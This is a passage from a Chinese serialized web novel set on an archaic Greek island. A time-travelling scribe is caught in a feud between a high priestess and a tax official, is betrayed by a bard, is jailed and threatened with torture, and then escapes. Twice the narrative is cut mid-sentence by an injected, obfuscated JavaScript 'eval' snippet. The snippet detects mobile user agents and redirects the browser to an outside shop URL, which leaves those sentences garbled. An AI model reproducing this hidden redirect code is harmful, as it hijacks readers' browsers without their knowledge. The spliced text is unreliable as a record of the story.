,阿尔克提斯借着一件看似偶然的“量器纠纷”,漂亮地阻击了克里同的税制改革攻势,并成功在众人面前打击了其手下,乃至其本人的公信力。 接下来的祭祀,气氛变得微妙而紧张。阿尔克提斯重新专注于仪式,仿佛刚才的针锋相对只是插曲。克里同虽仍坐在台上,但把玩银币的动作明显烦躁了许多。 利诺斯不知何时回到了他的位置,琴声再次响起,这次是一首曲调异常古老、带着苍凉海雾气息的歌谣,歌词模糊,依稀是什么“……当渡鸦啄食银币,双耳瓶盛满谎言的盐……记忆的潮水终将冲刷出真实的岸线……” 余茶低头快速记录着一切:克里同的提议、阿尔克提斯的反驳、老水手的控诉、阿尔克提斯提议的仲裁方式、利诺斯那意有所指的歌词……她敏锐地感觉到,那“量器纠纷”出现的时机太过巧合,老水手的态度也过于激愤而目标明确,简直像是……被精心引导至台前的棋子。是谁?阿尔克提斯?她不仅防守,更在暗中布局反击? 祭祀间隙,余茶借口取水,绕到广场后方僻静处,想整理思绪。刚转过一道残墙,却听见墙后传来极低的交谈声,是克里同那位瘦高书记官的声音: “……尊敬的克里同,那愚蠢的老水手突然跳出来,绝非偶然。定是山上那个女人指使……” 另一个阴沉的声音,似乎是克里同的护卫头领:“要不要派人‘提醒’一下那老水手,让他别乱说话?” “蠢!”克里同压抑着怒火的声音传来,“现在动他,等于不打自招!阿尔克提斯巴不得我们动手!……去查,查那老水手最近和哪些山民接触过,特别是和那女祭司身边的人!还有,”他声音更低,“盯紧那个游吟诗人。他不是喜欢钱和新鲜事吗?给他点‘新鲜’的,看看他到底知道多少,又愿意卖多少。” 余茶屏住呼吸,悄悄退开。克里同果然怀疑阿尔克提斯,并且将目光投向了利诺斯。 她心乱如麻地回到人群边缘,却发现利诺斯正被克里同的书记官“客气”地请到一边。书记官脸上堆着笑,递过去一个沉甸甸的小皮袋。利诺斯接过,掂了掂,脸上露出那种惯常的、对世界充满兴味的笑容,欣然点头,跟着书记官朝克里同临时休息的石屋方向走去。 经过余茶身边时,利诺斯脚步未停,甚至没看她一眼,仿佛她只是路边的石头。但就在交错而过的瞬间,他的手指几不可察地、极其快速地在琴弦上划过,发出一声低到几乎无法听闻的、尖细的摩擦音。 那声音却刺得余茶耳膜一颤。她愕然抬头,只看到利诺斯渐行渐远的、仿佛毫无重量的背影,以及他手中那个随着步伐轻轻晃动、发出轻微“沙沙”声的皮袋。 阳光依旧炙烤着古老的广场,祭祀的鼓声重新擂响。但余茶却感到一股寒意,从脚底蔓延至全身。权力的棋盘上,阿尔克提斯落下一子,克里同阴冷回应,而利诺斯……这个行走在享乐刀锋上的诗人,刚刚收下了一袋不知内容的“新鲜”,给同伴留下一个刺耳的音符。 她下意识地摸了摸怀里那份关于潘多拉的羊皮纸。在这个港口税收与双耳瓶容量争夺的表象之下,是关于古老信仰、失落传承、被篡改神话的真正风暴。这风暴似乎正随着月圆之夜的临近,悄然积蓄着巨大而可怕的力量。 广场上,阿尔克提斯正引领一轮奠酒,侧影在光中显得遥远而莫测。这个以大祭司身份统御山民、与代表部分偏向雅典的长老们意志的克里同抗衡的女人,展现出的不仅是信仰的权威,更有一种深植于血脉、关乎更古老权柄的深沉底气与筹谋本能。她绝不仅仅是神的代言人。她的冷静、她的反击、她看似虔诚仪轨下那偶尔闪过的、近乎统治者的锋芒,都让余茶确信:阿尔克提斯这个名字背后,隐藏着远超当前大祭司身份的、沉重而复杂的传承与秘密。只是那秘密具体为何,仍深锁于她紫色的袍服与平静的眼眸之后,如同这座岛屿周围,终年不散的、深处的迷雾。 7. 背叛的琴弦与染血的陶片 月圆之夜前最后一场公开祭祀,在港口附近的“海神岬”举行。此处地势开阔,便于聚集更多民众,也方便克里同展示权威。巨大的篝火在岬角空地中央燃烧,火星被海风卷上幽深的夜空。人群的规模超过以往,不仅山民,许多港口商贩、水手、乃至克里同从家族带来的部分仆人和士兵都聚集于此,气氛嘈杂而躁动。 阿尔克提斯主持着仪式,她的紫色祭袍在火光中如同流动的暗夜,木杖每一次顿地都带着沉厚的回响。祷词依旧古老,舞蹈依然虔诚,但空气中弥漫着一股一触即发的紧张。克里同坐在特意搭建的、更高一些的观礼席上,身边多了几名全副武装的护卫。他不再掩饰那份志在必得,手指敲击着椅背,目光锐利如鹰隼,扫视着人群,尤其在阿尔提克斯和几位山民长老身上停留。 余茶躲在人群外围的阴影里,炭笔在最后几张纸莎草片上疾书。她记录着仪式流程,更记录着克里同护卫的分布、山民中青壮年聚集的位置、以及双方首领之间那无形的、绷紧的弦。危险的气息比海风中的盐味更浓。 利诺斯的位置依旧微妙。他没有靠近观礼席,而是坐在篝火另一侧的石堆上,琴声悠扬,吟唱着关于海洋变幻与命运无常的曲子。他的表情在跳跃的火光中显得模糊,仿佛沉醉于自己的音乐世界。几个克里同的商人朋友围在他身边,不时递酒说笑。 仪式进行到向海神波塞冬,这是阿尔克提斯为迎合更多参与者加入的新环节,献祭酒液的时刻。按照安排,应由克里同与阿尔提克斯共同将混合酒浆倾入海浪。这是展示“和谐”的象征性环节。 就在阿尔克提斯与克里同并肩走向岬角边缘的祭坛时,异变陡生! 祭坛旁,一名负责捧酒的山民青年突然脚下一滑,他手中那尊用于混合酒液的、饰有双头斧纹的古老铜制双耳阔口杯脱手飞出,不偏不倚,朝着克里同的面门砸去! “小心!”惊呼四起。 克里同身边的护卫反应极快,一把推开克里同,另一人挥剑格挡。“当啷!”一声刺耳巨响,脸大的铜杯被击飞,落在岩石上,撞出一个凹痕,酒液泼洒一地。 人群瞬间死寂,只剩下篝火的噼啪声和海浪的轰鸣。 克里同被推得踉跄,虽未受伤,但洁白的希玛纯上溅满了深红的酒渍,模样狼狈。他稳住身形,脸色在火光下先是煞白,随即变得铁青。他猛地转头,目光如刀,首先刺向那吓呆了的山民青年,随即,缓缓移向站在一旁、神色凝重的阿尔克提斯。 “大祭司,”克里同的声音冰冷,压过了海浪,“这是何意?祭祀之中,竟有如此‘意外’?”他将“意外”二字咬得极重。 “确是意外。”阿尔提克斯上前一步,挡在那瑟瑟发抖的青年身前,声音沉稳,“岩石湿滑,海风猛烈。侍者失手,惊扰了您,我必严加责罚,并向海神诚心忏悔。”她示意其他祭司扶走那青年。 “意外?”克里同冷笑一声,不再掩饰,“接连‘意外’?先是量器失准,如今祭祀器具袭向我!大祭司,您治下的‘传统’与‘秩序’,看来并不如您所说的那般稳固可靠!”他提高了音量,确保在场所有人都能听见,“如此接连疏失,恐非神佑,而是人心有异,亵渎神圣!为了岛屿安宁,也为了祭祀不再出‘意外’,我以长老会赋予的治理之权宣布——” 他顿了顿,目光扫过全场,最后定格在阿尔克提斯脸上,一字一句道:“即日起,港口所有税收、及与祭祀相关的一应公共物资调配、人员调度,暂由科斯摩统一管辖、核查。港务长老及祭司团需全力配合,直至查明今日‘意外’真相,确保不再有妨害秩序与安全之事发生!” 图穷匕见! 借着这场“意外”,克里同终于撕破脸皮,要以“安全”和“秩序”为名,强行夺走阿尔克提斯手中最核心的经济与人事权力。什么核查,不过是吞并的借口。 山民们爆发出愤怒的喧哗,几位长老霍然起身。阿尔克提斯抬手,止住了身后的骚动。她的脸上没有任何惊慌,只有一种深海般的冰冷。她知道,这绝不是简单的意外。那青年是她亲自挑选、手脚稳重心性纯良的人,岩石虽滑,但…… 她的目光,越过愤怒的人群,落在了篝火对面,那个刚刚停下琴声的游吟诗人身上。 利诺斯正缓缓收起他的里拉琴。火光映照下,他的表情平静得近乎漠然。他甚至没有看向冲突的中心,而是低头整理着琴弦,仿佛周遭的剑拔弩张与他毫无关系。然而,就在阿尔克提斯目光投来的瞬间,他似有所感,抬起了头。 四目相对。 利诺斯迎上阿尔克提斯的目光,脸上慢慢浮起一丝极淡的、近乎歉意的微笑。然后,他极其轻微地,几乎难以察觉地,耸了耸肩。 一个简单的动作,却像一把淬毒的匕首,瞬间刺穿了阿尔克提斯强撑的镇定。她明白了。所谓的“意外”,是安排好的。而能如此精准地安排她身边的人,了解祭祀细节,并能用某种方式诱使或迫使那青年配合或“失手”的……只有最近频繁接触双方、看似中立却收下“馈赠”的——利诺斯。 背叛! 阿尔克提斯的手指深深掐入木杖,指节泛白。但她没有失态,甚至没有再看利诺斯一眼。她转向克里同,声音比爱琴海的冬夜更冷:“此言,是以一桩未明真相的意外,行夺权之事。山民与古老传统,不会接受这等无端指控与蛮横之举。” “是否无端,是否蛮横,自有公断。”克里同此刻胜券在握,姿态强硬,“大祭司若心中无愧,何惧暂时配合核查?还是说……大祭司,有什么经不起查的东西?” 气氛降至冰点,武装护卫的手按上了剑柄,山民中的青壮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226078|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年也握紧了随身的工具,怒目而视。大规模冲突一触即发。 就在这千钧一发之际,一直在阴影中观察的余茶,却心脏狂跳。她并非为眼前的政治斗争,而是因为就在刚才那铜杯被击飞、撞上岩石的瞬间,借着篝火的光,她清楚地看到,杯身内部某处被撞击后,剥落了一小块深色的涂层,露出了底下极其细微的、刻画的痕迹。 那不是普通的铸造纹理,更像是……某种符号的一角。 她脑中警铃大作。阿尔克提斯说过,传承断裂,核心知识散落于器物、符号之间。那铜杯是古老祭器,它内部是否隐藏着线索?如果这杯子被克里同以“调查”为名收缴、损坏或彻底清理,线索可能永埋! 几乎是本能驱使,在双方对峙、注意力高度集中在彼此身上的时刻,余茶借着人群的掩护,像一只受惊的沙鼠,悄无声息地、飞快地挪向那铜杯落地的岩石附近。她必须趁乱,看一眼那个剥落点。 她矮身靠近,指尖发颤,终于摸到了那冰凉的杯身。目光急扫——找到了!在杯腹内侧靠近底部的位置,一小片深色釉质剥落,露出金属底色上,刻着一个极其复杂、精细的微型图案:那是一个螺旋与一个抽象眼睛的结合体,线条古老流畅,与米诺斯艺术风格隐隐呼应,但又似乎更加……抽象,更具几何感,仿佛蕴含着某种数学或天文意义。 她呼吸一窒,来不及细想,本能地想用指甲或随身炭笔去描摹记忆。 然而,就在她全神贯注于那符号的刹那—— “那边!有人动证物!”一声厉喝猛地炸响! 是克里同身边那个瘦高书记官,他眼尖,一直留意着全场动静,他手指直指余茶蹲伏的位置。 唰!数道目光瞬间如利箭般射来。克里同的护卫反应极快,两名壮汉立刻拔出短剑,推开人群,气势汹汹地朝余茶扑来。 “抓住她!定是同党!”克里同的怒喝紧随其后。 余茶吓得魂飞魄散,猛地起身想逃,但腿脚发软,左脚被崎岖的岩石一绊,整个人向后摔倒,后脑重重磕在坚硬的石头上,眼前顿时金星乱冒,剧痛和眩晕席卷而来。 混乱中,她只看到篝火扭曲的光影、护卫狰狞逼近的面孔、人群惊惶的骚动,以及……远处,利诺斯不知何时已站起了身,正静静地看着她这边。他的脸在晃动的火光中模糊不清,只有那双淡琥珀色的眼睛,似乎微微眯了一下,里面没有担忧,没有愧疚,只有一种近乎残酷的、观察实验般的兴味。 然后,阴影和疼痛吞噬了她的意识。 在彻底陷入黑暗前,她最后一个模糊的念头是:杯子……眼睛与螺旋的符号……还有利诺斯那冷漠的眼神…… “噗通!”她似乎落入了冰冷的水中,或者,那只是脑内震荡带来的错觉。 黑暗彻底降临。 8. 铜杯陶片与囚室暗影 冰冷的触感将余茶从混沌中拽回。 不是海水,是粗糙石地上渗出的湿气,透过单薄的衣衫,针一般刺入肌肤。后脑的钝痛仍在,每一次心跳都撞击着太阳穴,但眩晕以及恶心感稍退。她费力地睁开眼,视野起初模糊,逐渐聚焦。 昏暗。唯一的光源来自高处一扇狭窄的、嵌着铁条的石窗,吝啬地透进些许惨淡的月光。空气浑浊,弥漫着尘土、霉味,还有一种淡淡的、铁锈似的腥气。她发现自己蜷缩在一个狭小的石室角落,身下是冰冷潮湿的草垫。 牢房。 记忆碎片猛烈回涌:岬角篝火、脱手的铜杯、剥落的涂层下诡异的符号、护卫的怒吼、利诺斯冷漠的眼神、后脑的撞击……她被克里同的人抓住了。 “嘶——”她试图移动,浑身骨头像散了架,尤其是左脚踝,传来扭伤未愈的刺痛。她检查自己,身上还是那件粗糙的希顿,沾满尘土和干涸的、不知是酒渍还是血迹的暗斑。怀里——她心头一紧,慌忙摸索——那份关于潘多拉的羊皮纸卷,还在!不枉她之前在腋下褶缝悄悄缝了两针,让羊皮刚好可以塞入褶皱。但是如果有人仔细搜身也并非不能发现,那么现在未被搜走。是不起眼,还是那些士兵搜得匆忙?亦或是……有人故意留下? 炭笔和纸莎草片则不见了,一阵空心感袭来,余茶心中微酸,那些是她这几日呕心沥血的记录。 她强迫自己冷静,观察囚室。石壁厚重,门是厚重的木料包着铁条,紧闭着,外面隐约有脚步声来回踱步。有人看守。石室内除了一堆发霉的草垫,空无一物。墙角有一摊可疑的深色水渍。 时间在寂静与寒冷中缓慢爬行。不知过了多久,也许是一个小时,也许更久,门外传来开锁的“咔嗒”声。 门被推开,两个人影站在门口,背光,看不清面容。但从轮廓和姿态,余茶认出前面的是克里同,后面跟着那个瘦高精明的书记官。 克里同走了进来,依旧穿着那件溅了酒渍、但已大致清理过的希玛纯。他打量着余茶,眼神里没有愤怒,而是一种评估猎物价值的审视。 “醒了?”他声音平淡,“说吧,你是谁?阿尔克提斯派你偷偷检查那杯子,想找什么?还是销毁什么?” 余茶喉咙干涩,声音沙哑:“我……我只是个路过的抄写员,对古老器物好奇……看到杯子掉了,想看看有没有摔坏……”她重复着最初的身份设定,尽管知道在对方眼里可能苍白无力。 “抄写员?”克里同嗤笑一声,“一个‘抄写员’,在那种时候,不顾危险扑向证物?一个‘抄写员’,能让阿尔克提斯那眼高于顶的女人允许你记录核心祭祀?”他俯下身,阴影笼罩余茶,“你的口音,你的用词习惯,还有你观察事物的方式……都不对。你这个长相,肯定不是阿提卡人,也不像我见过的任何希腊城邦的人。你到底从哪儿来?” 余茶浑身颤抖,但依然咬紧牙关不答。 克里同直起身,对书记官使了个眼色。书记官上前一步,从怀里掏出一个小布袋,倒出几样东西——正是余茶丢失的炭笔头,和几张被撕碎又勉强粘合的纸莎草片,上面依稀是她记录的符号和音节。 “认得吗?”克里同拿起一张碎片,上面正画着黑曜石祭器的简图,“笔迹工整,而且记录得很详细嘛。这些……是什么?某种密码?还是阿尔克提斯那些教派仪式的新把戏?” 余茶瞳孔收缩。他们果然搜走了记录,并试图解读。她低头垂眼,保持沉默。 “不肯说?”克里同并不意外,他踱步到石窗边,望着外面朦胧的月色,“没关系。我有的是时间,也有的是办法让你开口。不过,或许我们可以做个交易。”他转回身,目光锐利,“告诉我,那杯子里,你到底看到了什么?那个剥落的地方,有什么?” 他果然注意到了!余茶心头一凛。他是怀疑杯子本身有玄机,还是仅仅想坐实阿尔克提斯“利用古老邪物谋害科斯摩同僚”的罪名? “我只看到……金属底色。”她低声说。 “是吗?”克里同冷笑,“那么,这个你如何解释?”他示意书记官。书记官又从怀中取出一样东西,用布小心包裹着——正是那块从铜杯内部剥落的、带着奇特符号的深色陶片。 他们竟然把符号所在的陶片直接撬下来了。 月光透过石窗,恰好落在书记官手中的陶片上。那螺旋与抽象眼睛结合的符号,在昏暗光线下显得更加神秘莫测,线条古朴,却蕴含着一种难以言喻的、非希腊的理性与怪异感。 余茶的呼吸瞬间停滞,目光死死黏在那符号上。它绝对不是装饰,那是一种有明确指向和功能的标记。可能是器物的编号,可能是某种仪式的关键指示,也可能……是失落知识的地图一角。 她的反应没有逃过克里同的眼睛。“看来,你认识这个。”他语气笃定,“这是什么?阿尔克提斯秘密仪式的标记?还是……更值钱的东西?比如,某种古老宝藏的线索?” 他走近,压低声音,带着蛊惑:“告诉我这是什么,有什么用。我可以放了你,甚至给你一笔钱,足够你离开这个是非之地,去任何你想去的地方。何必为了那个愚蠢的老女人,把命丢在这阴暗的牢房里?” 金钱的许诺,若在以往,余茶或许会心动。但此刻,经历诡异的黑暗空间、落在这个随时有生命危险的时代,对回家的渴望以及对利诺斯背叛的痛恨,金钱的吸引力褪色如津巴布韦纸币。她更在乎的是能否靠这个符号代表的真相回家,活着回家。 她保持沉默。 克里同脸上的耐心渐渐消失,眼神变得阴鸷。“很好。又是个愚蠢的女人。”他退后两步,对书记官说,“看来,得请我们新来的‘朋友’帮她回忆回忆了。” 书记官点头,嘴角露出一丝残忍的弧度,拍了拍手。 囚室门外,脚步声再次响起。一个身影被推了进来。 是那个失手打翻酒杯的山民青年。他脸上身上带着荆条抽过的血痕,眼神惊恐绝望,看到克里同和书记官,更是浑身发抖。 克里同指着余茶,对青年说:“告诉她,是谁让你在祭祀时‘不小心’滑倒的?说实话,或许你和你家人还能有条活路。” 青年浑身一颤,扑通跪下,涕泪横流:“克里同饶命!是……是利诺斯!游吟诗人利诺斯!他……他前几天找过我,说是我父亲早年欠他的一点人情,现在只需我在祭祀时,等他弹到某个特定高音时,假装脚滑一下……他说只是为了突出他高超的琴技,让普通人心醉神迷,并不会影响祭祀……他还说,事成之后,可以帮我妹妹在港口找个好差事……我、我不知道地面会那么滑,杯子会脱手啊!而且怎么会直接抛向您那边,我真的不知道!”他语无伦次,磕头如捣蒜。 利诺斯!果然是他! 余茶虽然早有猜测,但亲耳听到证实,还是感到一阵冰冷的恶心。那个谈笑风生、将享乐奉为圭臬的诗人,为了不知什么利益,轻易地策划了这场嫁祸,沉重打击了阿尔克提斯,还将她推入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226079|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险境。 克里同满意地看着余茶骤变的脸色。“看来你明白我们这位多才多艺的诗人朋友的立场了。他的琴艺确实动人,开价也很公道。”他挥挥手,让人将浑身血污的青年拖出去。 囚室里重回寂静,只剩下余茶沉重的呼吸和克里同审视的目光。 “现在,”克里同的声音如同毒蛇吐信,“你看到了,在这里,对抗我是什么下场。而你,这个身份可疑的外乡人,很可能是个外逃的奴隶,阿尔克提斯可保不住你,也根本不会保你,除了最基础的鞭笞,我们还有轮刑、梯刑、梳刮刑、拱曲刑、灼烧砖刑、猪皮鞭刑、灌醋汁刑,一个奴隶而已,不用通过审判,想要什么样的刑罚都可以......那个符号,”他指向书记官手中的陶片,“是你唯一的筹码。痛快说出它的意义,你会得到银币和自由,或者,用这些方法,让你‘自愿’地、仔细地、从头到尾,把你记录的那些怪异符号,还有羊皮纸上那些异端邪说,一字不落地解释清楚。你想选哪条路?” 从未听说过的酷刑让压迫感如巨石般倾轧下来,余茶感到窒息。她看着那块在月光下幽幽反光的陶片符号,想起阿尔克提斯说起传承断裂时的憾恨,想起那羊皮纸上关于“塑造者”与“瓶中眼”的记述,想着自己回家的希望。 这个符号,会不会就是一块关键的碎片?如果告诉克里同,他真的会放过她?但她是不是就失去了回家的线索?如果不告诉等待阿尔克提斯的救援,酷刑之下,自己能活下去吗? 就在她心神剧烈动荡、几乎要被恐惧吞噬时—— “轰隆!!!” 一声沉闷的、仿佛来自地底深处的巨响猛然传来!灰尘簌簌落下,石窗外的月光似乎都摇晃了一下。整个囚室,不,是整个建筑都随之剧烈震动! “怎么回事?!”克里同和书记官脸色大变,立刻转身冲向门口。 紧接着,外面传来惊慌的喊叫、杂乱的奔跑声、金属碰撞声! “敌袭?是山民打来了?”书记官惊疑不定。 克里同侧耳倾听,眉头紧锁:“不……声音是从港口方向传来的。还有……这是什么声音?” 一种低沉的、仿佛无数人在同时痛苦呻吟,又像是大地本身在咆哮的诡异嗡鸣,隐隐从远处传来,混杂在喧嚣中。 余茶也听到了。那声音……让她莫名心悸,甚至比眼前的绝境更让她不安。她脑中闪过阿尔克提斯提到的“昂尼斯之泉”终仪,闪过利诺斯那些意有所指的歌谣,闪过羊皮纸上“瓶中眼”的记述…… 难道……古风时代的希腊就有炸药了?不!不可能!余茶否认了头一个的猜测,这么大的声音,还地动山摇,就只能是地质活动。真是巧了,说不定有救了! 囚室外的混乱迅速升级,火光映红了石窗。克里同再也顾不得审问余茶,对书记官急道:“快!召集所有人,去港口看看。加强这里看守!”说完,他急匆匆离去,书记官紧随其后,锁死了牢门。 余茶被独自留在震动渐息、但嗡鸣声却似乎越来越清晰的囚室中。看守的脚步声在门外慌乱地跑远。 机会! 未知的恐惧和一丝绝境中求生的狠厉,在她眼中交织。她必须出去,必须弄清楚发生了什么。那符号,那震动,那声音……或许是她唯一的生机,她摸了一下被缝在衣服里的羊皮纸,挣扎着爬到门边,开始摸索牢门的结构,目光落在墙角那摊深色水渍上,一个极其冒险、甚至有些荒谬的念头,在绝境中悄然滋生…… 9. 地脉的呜咽与暗巷的交易 地底的轰鸣与诡异的嗡鸣并未持续太久,但它们带来的混乱余波却在夜色中蔓延。余茶贴在冰冷的牢门上,能听到外面远远近近的呼喊、慌乱的奔跑、以及兵器偶尔碰撞的脆响。议事厅,那个克里同临时占据的广场建筑,显然陷入了某种程度的混乱。 看守的脚步声果然没有再回到门外最近的位置,大概也被调去增援港口或维持秩序了。 余茶深吸一口气,压下喉咙口的异物感和后脑的闷痛。她低头看着脚上的黑色牛皮软靴,那是艾拉带给她的,里面套着浅色系带皮拖鞋,这样便于上下跑动,然后又瞥向墙角那摊可疑的深色水渍。不是普通积水,那黏腻的质感和铁锈腥气,很可能是某种混合了铁质的、渗透下来的潮气或旧日污渍,甚至是……废弃染料?她不能确定,但值得一试。 她扯断了一条皮拖鞋上的皮绳,小心地蘸取了一些墙角的深色液体。液体黏稠,在粗糙的皮绳上晕开深褐色。她将湿漉漉的皮绳拴在从希顿取下的细细的金属胸针上,做成一个临时的、带尖头的简易探杆,沿着牢门木板的缝隙,缓缓塞了出去。 然后,她将耳朵紧紧贴在门上,手指缠住留在内侧的绳子一端,开始极其缓慢地、上下左右地移动。绳子在外侧粗糙的石壁和木门上摩擦,她的指尖感受着另一端传来的细微阻力变化——寻找锁孔或门闩的位置。 这是一个考验耐心和触感的笨办法。时间在死寂与远处隐隐的喧嚣中流逝。汗水混着灰尘从她额角滑落。终于,当绳子移动到门缝中段偏下的某个位置时,她感到了一丝明显的、向内的凹陷感。 锁孔!很大可能是老式的、较粗的插闩或挂锁的锁孔。 她心跳加速,再次将耳朵贴紧门缝,用那自制工具,将尖头从门缝中小心翼翼地向锁孔位置探去。金属与石头、木头摩擦发出极其细微的沙沙声,在她听来却如雷鸣。 碰到了!她感觉到尖头抵住了锁孔内部的金属障碍——很可能是横插的门闩,或者是挂锁的锁舌。 不是复杂的簧锁,这是好消息,也是坏消息。好消息是结构简单;坏消息是,单纯从外部用细杆很难撬动厚重的门闩,除非…… 她屏住呼吸,尝试用尖头去够门闩的边缘,想把它一点点刮向一边。但角度刁钻,杠杆力量严重不足。尝试了几次,除了刮下一点铁锈,门闩纹丝不动。 汗水浸透了她的后背。时间不多了,混乱不可能一直持续。 就在她几乎绝望,考虑是否要用那金属胸针硬撬,赌它断裂前能弄开门闩—— 一阵极轻的、几乎与风声融为一体的脚步声,停在了牢门外。 余茶浑身僵硬,迅速收回工具,蜷缩回角落的阴影里,心脏狂跳。 没有开锁声,没有问话。只有一片死寂。 然后,一个压得极低的、熟悉的声音,贴着门缝传来: “里面的人……还喘气吗?” 是利诺斯! 余茶在内心愤恨地叫骂着:这个背叛者!他来干什么?灭口?还是克里同派他来继续审讯? 她咬紧牙关,不发出任何声音。 门外静了片刻,传来一声几不可闻的、带着点玩味的轻叹。“啧,看来摔得不轻,或者……脾气不小。”他顿了顿,声音依旧压得很低,语速却快了些,“听着,不管你是死是活,想不想听。港口那边出了点‘小热闹’,克里同暂时没空料理你。但天亮前,他一定会回来,而且心情会很不好。” “……”余茶依旧沉默。 “我呢,收了钱,办了事。现在事情有点……超出预期。”利诺斯的声音里听不出太多情绪,只有一种实事求是的漠然,“那破杯子,还有那个符号,也许真的触发了神灵?地底下有点……吵。克里同现在焦头烂额,既要防着山民趁机闹事,又要搞清楚港口那摊混乱是怎么回事。长老会估计也对他有不满。所以,他对你,还有你脑子里和怀里那些东西,兴趣暂时被分走了,但不会太久。” 他似乎在陈述,又像是在评估。“我给你两个选择:第一,继续在这儿等克里同回来,他会用尽办法撬开你的嘴,然后你大概率会变成港口外礁石上的一具无名浮尸。第二,”他停顿了一下,“我‘疏忽’一下,比如被混乱的人流‘撞’到,不小心把一点能帮你暂时应付审讯、但又无伤大雅的‘信息’透露给某个可能对你还有那么一丝‘责任感’的山民朋友……比如艾拉?当然,这很冒险,对我没好处。所以,需要一点……‘补偿’。” 交易。这个所谓的引路朋友,在用她可能获救的机会,换取“补偿”!余茶气得浑身发抖,但理智告诉她,这可能是唯一的机会。利诺斯虽不可信,但他对利益的算计是真实的。他现在来,说明他认为她还有交易价值,或者,他需要她活着,作为某种后续的棋子? “你要什么?”她终于开口,声音嘶哑干涩。 门外似乎轻笑了一声。“简单。第一,那个符号,你看到的那东西,到底是什么?别告诉我你没印象。第二,如果……我是说如果,你侥幸从这儿出去,又侥幸从接下来的麻烦里活下来,我需要你帮我翻译一件小东西,一件我从更南边的商人那儿换来的、有点意思的旧陶片。作为预付报酬,我可以告诉你一个可能有用的消息——阿尔克提斯没有去找支持她的长老会长老,反而正在召集所有还能动的山民长老和战士,地点在老葡萄园上面的废弃观测塔。她似乎认为今晚的异动与‘泉水’和‘终仪’有关,准备提前做点什么。当然,这也是她的麻烦。” 用情报换情报,还要预支未来的翻译劳务。典型的利诺斯风格。 余茶大脑飞速运转。告诉他符号的意义?风险是他听到后就离开,毕竟他也不是第一次背叛。但不说,可能立刻死。至于翻译……那是后话。眼下,让阿尔克提斯来救她才是至关重要。如果那异动真的与古老传承有关,阿尔克提斯很可能会为此来救她,而她也可以通过阿尔克提斯找到自己穿越的线索! “符号……”余茶艰难地吞咽了一下,“是一个标记,像眼睛和螺旋合在一起。我在……很古老的文献残片上见过类似的,可能和测 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“走!”她一把拉起余茶,将一件同样深色的旧斗篷塞给她,“能走吗?跟着我,别出声!” 余茶套上斗篷,忍着左脚踝的刺痛,被艾拉半拖半扶地拽出牢房。门外,一个守卫歪倒在墙角,脖颈处有血迹,生死不明。走廊里空无一人,远处的喧闹似乎将大部分守卫都吸引了过去。 艾拉对这里的地形极为熟悉,带着余茶在昏暗复杂的石堡通道里左拐右绕,避开偶尔出现的巡逻队影子,最后从一个堆放破损渔网和木桶的、散发着咸腥恶臭的杂物间角落,推开一块松动的石板,露出一个仅容一人通过的狭窄向下的石阶,里面漆黑一片,涌出带着海腥味的冷风。 “下去!一直走,通到岬角下面的一个海蚀洞,涨潮时出口会被淹一半,现在应该可以过。出去后沿礁石往岸上走,看到三块叠在一起的白色大石头,转向上山,有人在老葡萄园附近接应。”艾拉语速极快,将余茶推进洞口,“我必须回去,大祭司需要人。你,自己小心。如果……如果你真的看到了大祭司说的‘关键’,或许……一切还有转机。”她深深看了余茶一眼,那目光复杂,有怀疑,有期望,也有一丝孤注一掷的决绝。 说完,她迅速将石板移回原位,脚步声快速远去。 余茶被独自留在漆黑、潮湿、陡峭向下的狭窄通道里。身后是刚逃离的囚笼,前方是未知的、弥漫着诡异嗡鸣余韵的黑夜和更加叵测的等待。 她摸了摸怀里依旧在的羊皮纸卷,想起利诺斯的话,想起凶残的克里同,想起铜杯的符号和阿尔克提斯可能正在进行的行动。 没有退路。她深吸一口带着海藻腐烂气息的冷空气,扶住湿滑的石壁,一步一步,向着黑暗的深处,向下,再向下。 地脉的呜咽似乎仍在岩石深处隐隐回荡,而一场关乎古老传承、岛屿权力与扭曲神话真相的风暴,正随着她的脚步,向着山巅那废弃的观测塔,以及塔下可能已经不再平静的“昂尼斯之泉”,无可阻挡地汇聚而去。 10. 若要大岛无忧必须等我回来 石阶仿佛没有尽头,潮湿滑腻,向下延伸进深不见底的黑暗。海风的呜咽逐渐清晰,与岩石深处某种持续的低沉嗡鸣混在一起,震得余茶齿关发酸。每一次落脚都激起空洞的回响,更添寒意。她仅凭触觉摸索,指尖被粗糙的石壁磨破,火辣辣地疼。羊皮纸卷在内衬里,是唯一确定的存在。 不知走了多久,石阶尽头出现微弱的水光反光。空气湿度骤增,带着浓烈的咸腥和生物腐败的气味。通道豁然开朗,变成一个被海水侵蚀出的天然岩洞。洞顶倒悬着湿漉漉的钟乳石,脚下是参差湿滑的礁石和深浅不一的水洼。前方,隐约可见一道不规则的、泛着幽暗夜光的裂缝,宽约两人并肩,高不过一丈,海浪就在裂缝外几尺处起伏、拍打,发出巨大的轰鸣。这就是艾拉说的出口,此刻未被潮水完全淹没。 余茶扶着洞壁,小心翼翼地踩着凸起的石块,向裂缝挪去。海水不时漫过她牛皮软靴的缝隙,浸透脚面,冰冷刺骨。就在她即将穿过裂缝的刹那,眼角余光瞥见洞窟深处、一片被巨大礁石阴影笼罩的水洼底部,有什么东西闪烁了一下微光。 不是月光的反射,那光更凝实,带着一丝奇异的、近乎绿色的冷调。 